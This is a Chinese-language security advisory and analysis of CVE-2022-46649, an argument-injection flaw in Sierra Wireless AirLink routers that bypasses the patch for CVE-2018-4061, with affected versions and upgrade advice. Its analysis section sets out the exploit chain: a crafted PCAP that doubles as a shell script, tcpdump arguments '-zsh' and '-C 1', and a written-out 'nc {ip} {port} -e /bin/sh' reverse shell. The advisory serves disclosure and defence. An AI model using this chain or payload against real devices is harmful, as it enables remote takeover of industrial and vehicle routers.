Sierra Wireless AirLink系列无线路由器和调制解调器为客户提供适用于各种工业、企业和车载应用的解决方案。具有有效ACEManager凭据和ACEManager界面访问权限的用户可以在设备上执行任意Shell命令。
Part1漏洞状态
漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
有 | 无 | 无 | 无 |
Part2漏洞描述
漏洞名称 | Sierra Wireless AirLink参数注入漏洞 |
CVE编号 | CVE-2022-46649 |
漏洞类型 | 远程代码执行 |
漏洞等级 | 8.0高危(High) |
公开状态 | 公开 |
漏洞描述 | 获取特定权限的用户可以通过操纵IP日志记录在设备上执行任意命令 |
时间线 | 2023年1月28日 公告发布 |
受影响版本 | ES450、GX450:V4.9.7及更早版本 MP70、RV50、RV50x、RV55、LX 40、LX60:V4.16.0之前的版本 |
Part3漏洞分析
攻击者可以通过利用ACEManager Web服务对/cgi-bin/iplogging.cgi请求中的“-z”命令(负责向cpdump提供postrotate-command)不正确地处理进行命令注入。这个漏洞被编号为CVE-2018-4061,CVE-2022-46649则是基于此漏洞补丁的绕过。
CVE-2018-4061漏洞补丁对参数的过滤逻辑为删除任何“-z”参数后包括空格、制表符、换页符、垂直制表符的命令,如:“tcpdump -z reboot”。
但以上操作只能执行有限的命令,可以继续通过利用“-z”参数来反弹Shell。
通过检查tcpdump源代码,发现其使用“execlp(any_binary, filename)”执行 -z binary命令。在本例中,文件名被硬编码为“/tmp/iplogging.pcap”,这就意味着在攻击中仅能利用目标设备已存在的文件。
为了绕过这种限制,可以将恶意数据写入/tmp/iplogging.pcap,使该文件既是有效的PCAP文件,也同样使是一个Shell脚本,同时可以将sh作为postrotate-command。通过将恶意数据直接传输到适当的接口,可以直接插入到目标PCAP文件中,但可能会受其他通信的影响,因此另一种解决方案是使用“/cgi-bin/iplogging_upload.cgi”请求。
恶意PCAP文件必须满足以下要求:
① 通过 tcpdump 的验证;② 是一个有效的Shell脚本;③ 能够触发tcpdump的循环逻辑(文件大小超过1MB)。使用“iplogging_upload.cgi”上传恶意PCAP文件,该文件将保存到固定路径:“/tmp/iplogging_params.tcp”。请求“iplogging.cgi”页面,执行带有以下参数的tcpdump命令:
“-r /tmp/iplogging_params.tcp”:指定tcpdump从成功上传的恶意PCAP文件中流量。
“-zsh”:将“post rotate command”设置为sh命令。当tcpdump轮换PCAP输出文件时,将执行sh命令。
“-C 1”:文件大小超过1MB时,轮换输出文件。
请求发出之后,tcpdump将读取恶意PCAP文件“/tmp/iplogging_params.tcp”并将其写入预定义的输出文件“/tmp/iplogging.pcap”。一旦其数据达到1MB,tcpdump将通过-z参数对iplogging.pcap文件执行sh命令。此时,构造的“nohup nc {ip} {port} -e /bin/sh &”已被写入iplogging.pcap,/bin/sh将逐行读取文件,将PCAP文件头作为“坏行”进行忽略,进而执行反弹Shell命令。
成功反弹Shell。
Part4缓解建议
将MP70、RV50、RV50x、RV55、LX 40、LX60升级至ALEOS 4.16.0或更高版本。
将ES450、GX450升级到ALEOS 4.9.8(如果可用)或更高版本 。
请登录/注册后在FreeBuf发布内容哦